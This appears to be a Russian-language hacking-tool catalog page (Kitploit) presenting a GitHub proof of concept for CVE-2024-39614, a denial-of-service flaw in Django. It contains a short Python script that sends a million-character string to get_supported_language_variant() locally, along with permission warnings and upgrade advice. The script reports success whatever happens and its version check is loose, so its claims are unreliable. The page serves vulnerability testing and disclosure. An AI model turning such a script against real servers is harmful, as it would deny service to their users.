Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
-CVE-2024-39614 — Доказательство концепции для CVE-2024-39614 — уязвимости типа «отказ в обслуживании» в Django. Демонстрирует исчерпание ресурсов с помощью длинных строк в get_supported_language_variant(), затрагивающей Django до версий 5.0.7 и 4.2.14. | Kitploit
Инструменты/GitHubGitHub/abdurahmon3236/-cve-2024-39614
Анализ уязвимостейЭксплуатацияВеб-безопасностьТестирование на Проникновение
GitHubabdurahmon3236/-cve-2024-39614

-CVE-2024-39614

Доказательство концепции для CVE-2024-39614 — уязвимости типа «отказ в обслуживании» в Django. Демонстрирует исчерпание ресурсов с помощью длинных строк в get_supported_language_variant(), затрагивающей Django до версий 5.0.7 и 4.2.14.

Репозиторий
112 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Доказательство концепции (PoC) уязвимости типа «отказ в обслуживании» в Django

Этот репозиторий содержит скрипт Proof of Concept (PoC), демонстрирующий уязвимость типа «отказ в обслуживании» (DoS) в Django версий 5.0 до 5.0.7 и 4.2 до 4.2.14. Уязвимость находится в функции get_supported_language_variant(), которая подвержена потенциальной DoS-атаке при обработке очень длинных строк, содержащих определённые символы.

Содержание

  • Описание уязвимости
  • Настройка и использование
    • Скрипт PoC
  • Важные замечания
  • Устранение уязвимости

Описание уязвимости

CVE-ID: (Ожидается)

Обзор: Функция get_supported_language_variant() в Django версий 5.0 до 5.0.7 и 4.2 до 4.2.14 подвержена DoS-атаке. Эта функция может быть эксплуатирована путём отправки очень длинных строк, содержащих определённые символы, что может привести к исчерпанию ресурсов и, как следствие, к отказу в обслуживании.

Затронутые версии:

  • Django 5.0 до 5.0.7
  • Django 4.2 до 4.2.14
  • Исправленные версии:

    • Django 5.0.7
    • Django 4.2.14

    Настройка и использование

    Необходимые условия

    • Python 3.x
    • Установленный Django (pip install django)

    Скрипт PoC

    Этот скрипт демонстрирует, как злоумышленник может использовать уязвимость, отправив очень длинную строку в функцию get_supported_language_variant().

    Сохраните следующий скрипт как dos_poc.py и запустите его.

    root@kitploit:~
    import django
    from django.utils.translation import get_supported_language_variant
    
    # Check Django version
    if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
        print("[-] This Django version is vulnerable to the DoS attack.")
    else:
        print("[+] This Django version is not vulnerable. Please use a vulnerable version for testing.")
    
    # Generate a very long string containing specific characters
    very_long_string = 'a' * 1000000 + '!'  # Adjust the length and content as necessary
    
    def test_dos_vulnerability():
        try:
            # Trigger the vulnerability
            get_supported_language_variant(very_long_string)
            print("[+] Successfully called get_supported_language_variant with a very long string.")
        except Exception as e:
            print(f"[-] An error occurred: {e}")
    
    if __name__ == "__main__":
        test_dos_vulnerability()
    

    Пояснение

    1. Проверка версии Django: Скрипт сначала проверяет, является ли установленная версия Django уязвимой к DoS-атаке.
    2. Генерация очень длинной строки: Создаётся очень длинная строка, содержащая определённые символы. При необходимости измените длину и содержимое, чтобы спровоцировать уязвимость.
    3. Тестовая функция: Функция test_dos_vulnerability() вызывает get_supported_language_variant() с очень длинной строкой для проверки наличия уязвимости.
    4. Запуск скрипта: При выполнении скрипт пытается эксплуатировать уязвимость и выводит результаты.

    Важные замечания

    • Разрешения: Убедитесь, что у вас есть явное разрешение на тестирование этой уязвимости на целевой системе. Несанкционированное тестирование незаконно и неэтично.
    • Тестовая среда: Выполняйте этот тест в контролируемой среде, чтобы избежать воздействия на производственные системы.
    • Потребление ресурсов: Данный PoC может потреблять значительные системные ресурсы. Следите за системой и будьте готовы остановить скрипт при необходимости.

    Устранение уязвимости

    Для устранения этой уязвимости обновите Django до исправленных версий:

    • Django 5.0.7
    • Django 4.2.14

    Следуйте официальным инструкциям по обновлению Django, чтобы обновить вашу установку Django до последней безопасной версии.

    Поддерживая программное обеспечение в актуальном состоянии и следуя лучшим практикам безопасности, вы можете предотвратить такие уязвимости, как эта DoS-проблема в Django.

    Скачать инструмент